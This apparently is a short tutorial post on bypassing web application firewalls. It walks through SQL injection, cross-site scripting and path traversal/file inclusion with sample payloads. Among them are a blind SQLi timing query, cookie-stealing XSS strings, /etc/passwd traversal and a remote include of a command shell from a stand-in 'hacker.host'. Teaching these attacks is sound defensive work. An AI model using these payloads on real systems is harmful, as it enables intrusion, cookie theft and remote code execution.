Part 1: Bypass a Web Application Firewall (WAF)

July 22, 2016 | Views: 13821

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

Methods to Reduce the Threats

Directive Approach

  • Software Development Life Cycle (SDLC); «paper security»; organization of high-level processes

Detective Approach

  • Black/white-box testing of functions; fuzzing; static/dynamic/manual analysis of program code

Preventive Approach

  • Intrusion Detection/Prevention Systems (IDS/IPS), Web Application Firewall (WAF)

 

What is WAF?

waf

 

Methods to Bypass WAF

cartoon

  1. SQL Injection

There are two types of SQL Injection:

  • SQL Injection into a string parameter Example: SELECT * from table where name = ‘Name’
  • SQL Injection into a numeric parameter Example: SELECT * from table where id = 123

Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions

  • A vulnerable request can get into Insert, Update, Delete, etc.

Example: UPDATE users SET pass = ‘1’ where user = ‘t1’OR 1=1–‘

  • Blind SQL Injection

Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))

  • Exploitation features for various DBMSs

Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3

Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3

  1. Cross-Site Scripting (XSS)

There are two types Cross-Site Scripting (XSS):

  • Persistent/stored
  • Non-persistent/reflected

Cross-Site Scripting vulnerabilities typically occur in:

  • HTML tags
  • The body of JavaScript/VBScript/etc. (e.g. DOM-based)
  • HTML code
  • HTML tag parameters
  •  Java
  • Flash
  • Cross-Site Scripting is client-side vulnerability
  • Microsoft Internet Explorer 8 XSS filter
  • Mozilla No Script Firefox extension

 

General Issues:

  • Stored XSS

If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction

  • Reflected XSS in Java Script

Example: <script> … setTimeout(”writetitle()”,$_GET[xss]) … </script>

Exploitation: /?xss=500); alert(document.cookie);//

  • DOM-based XSS

Example: <script> … eval($_GET[xss]); … </script>

Exploitation: /?xss=document.cookie

Similar problems take place in the filters that protect systems from XSS at the client-side level (e.g.,IE8)

A Cross-Site Scripting attack can successfully bypass the WAF and be conducted in all following cases:

  • Exploitation of DOM-based XSS
  • Using HPP and HPF techniques
  • Similar to exploitation of SQL Injection vulnerabilities, bypassing filter rules (signatures) and using vulnerabilities in the functions of WAF request normalization

 

  1. Path Traversal, Local/Remote File Inclusion

An example of Path Traversal Vulnerability:

  • Program logics:

<? include($_GET[‘file’].”.txt”) ;?>

index.php?file=myfile

  • Exploitation example: index.php?file=/../../../../../etc/passwd%00

Risks represented byLocal File Inclusion vulnerabilities:

  • Functions include()and require()regard text as a part of program code!
  • Exploitation example:index.php?file=img/command_shell.jpg%00

Appearance of Remote File Inclusion:

  • If allow_url_fopen & allow_url_includeare enabled, then:

index.php?file=http://hacker.host/command_shell

An example of Path Traversal vulnerability:

  • Program logics:

<? include (“./files/”.$_GET[‘file’]) ;?>

  • Vulnerability exploitation: /?id=/union%20select/../../../../../../../etc/passwd

The request becomes: <? include(“./files//uniX on%20sel X ect/../../../../../../../etc/passwd”) ;?>

Stay Linked!!

Ali Tabish

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
10 Comments
  1. This is Awesome…!

  2. Great article

  3. Thanks for the information I can use it

  4. Awesome content.

Page 2 of 2«12
Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Cybrary On The Go

Get the Cybrary app for Android for online and offline viewing of our lessons.

Get it on Google Play
 

Support Cybrary

Donate Here to Get This Month's Donor Badge

 
Skip to toolbar

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel